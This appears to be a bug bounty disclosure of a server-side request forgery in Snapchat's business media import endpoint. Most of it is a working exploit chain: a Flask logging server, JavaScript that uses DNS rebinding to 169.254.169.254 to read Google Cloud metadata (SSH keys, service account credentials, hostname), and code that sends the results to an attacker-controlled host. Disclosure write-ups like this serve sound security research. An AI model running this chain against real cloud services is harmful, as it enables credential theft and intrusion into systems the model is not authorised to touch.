BugFlow

Server-Side Request Forgery using Javascript allows to exfill data from Google Metadata

  1. Login to https://business.snapchat.com/
  2. Go to creative library -> New Creative
  3. Under “Topsnap Media”, click on “Create”
  4. Click on any of the templates and load it
  5. Click on one of the images in the template -> Replace -> Import
  6. This is where the SSRF exists. Where you fetch images for your creative (/api/v1/media/import)
  7. Run this somewhere publicly accessible:

On the import section we are inserting the payload of our domain

from flask import Flask, request
from flask_cors import CORS
from time import sleep

app = Flask(__name__)
CORS(app)

import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)

@app.route("/")
def helloWorld():
        sleep(3)
        return 'hi!'

@app.route('/log')
def log():
        print request.args['msg']
        return ''

app.run(host='0.0.0.0')

Put this on another domain you control. Change demon.██████████ to the host where you put this html file, and change ssh.████ to the host you’re running the timing script (above) on.

<script>
var logTimeServer = 'ssh.█████';
var attackServer = 'demon.██████';

function log(data) {
    var sreq = new XMLHttpRequest();
    sreq.open('GET', 'http://' + logTimeServer + ':5000/log?msg=' + encodeURI(data), true);
    sreq.send();
}

function get(url) {
    try {
        var req = new XMLHttpRequest();
        req.open('GET', url, false);
        req.setRequestHeader('X-Google-Metadata-Request', 'True');
        req.send(null);
        if(req.status == 200)
            return req.responseText;
        else
            return '[failed status=' + req.status + ']';
    } catch(err) {
        log(err);
    }
    return null;
}

log('Triggered in ' + window.location.href);

for(var i = 0; i < 60; ++i) {
    log('Loop ' + i);
    var req = new XMLHttpRequest();
    req.open('GET', 'http://' + logTimeServer + ':5000/', false);
    req.send();
}
log('SSH Keys: ' + get('http://' + attackServer + '/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json'));
log('Service Accounts: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/service-accounts/?recursive=true&alt=json'));
log('Hostname: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/hostname'));
</script>

Now hit /api/v1/media/import on ads.snapchat.com, with the URL parameter http://demon.███████/ssrf.html (or wherever you run it) Immediately after requesting ssrf.html, switch the DNS on the domain to point to 169.254.169.254, and wait 3 minutes. ssrf.html needs to be running on port 80, that way when the DNS changes, it starts talking to the metadata service.